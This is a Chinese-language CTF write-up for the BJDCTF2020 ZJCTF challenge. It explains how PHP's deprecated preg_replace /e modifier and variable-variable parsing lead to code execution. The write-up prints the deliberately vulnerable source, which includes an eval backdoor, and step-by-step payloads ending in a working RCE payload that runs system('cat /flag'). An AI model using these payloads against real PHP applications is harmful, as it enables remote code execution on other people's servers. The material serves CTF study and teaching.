在php正则匹配中,修正符号e的功能:只用在preg_replace()函数中,在替换字符串中逆向引用做正常的替换,将其(即“替换字符串”)作为PHP代码求值,并用其结果来替换所搜索的字符串。
挖坑源于buuoj一道题[BJDCTF2020]ZJCTF,不过如此
题中的其中一段源码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
爬坑一
先研究一小段代码,关于preg_replace
函数
<?php
preg_replace('/(.*)/ei', 'strtolower("\\1")', ${phpinfo()});
我们可以控制第一个和第三个参数,第二个参数固定为 ‘strtolower(“\1”)’ 字符串。 我们先看第二个参数中的\1 ,\1实际上就是 \1,而 \1 在正则表达式中有自己的含义
反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
\1 实际上指定的是第一个子匹配项。而这段代码里面的第一个子匹配项就是${phpinfo()}。这样我们就执行了phpinfo。
爬坑二
由此将上一段代码的定量变成变量进行替换
<?php
function complexStrtolower($regex,$value){
return preg_replace( '/(' . $regex . ')/ei' , strtolower ("\\1")' , $value);
}
foreach($_GET as $regex => $value){
echo complexStrtolower($regex,$value);
}
将参数名为.*
,参数值为{${phpinfo()}}
通过GET方式传入
payload为:/?.*={${phpinfo()}}
结果无法像一那样执行
在echo输出语句后面输出一下$_GET数组
var_dump($_GET);
然后发现传进去的.
变成_
所以我们要做的就是换一个正则表达式,让其匹配到 {${phpinfo()}} 即可执行 phpinfo 函数。这里我提供一个 payload :\S*=${phpinfo()}
爬坑三
下面再说说我们为什么要匹配到 {${phpinfo()}} 或者 ${phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)。
var_dump(phpinfo()); // 结果:布尔 true
var_dump(strtolower(phpinfo()));// 结果:字符串 '1'
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'
var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''
var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''
这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串
题目
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
如果直接传.*
由于php字符解析 .会被替代成下划线 所以我们换个元字符\S \S表示匹配非空格以外的所有字符 这也我们就能够匹配我们想要的命令执行函数了
payload:?\S*=${getFlag()}&cmd=system('cat /flag');
通过上述式子调用getFlag()函数,然后RCE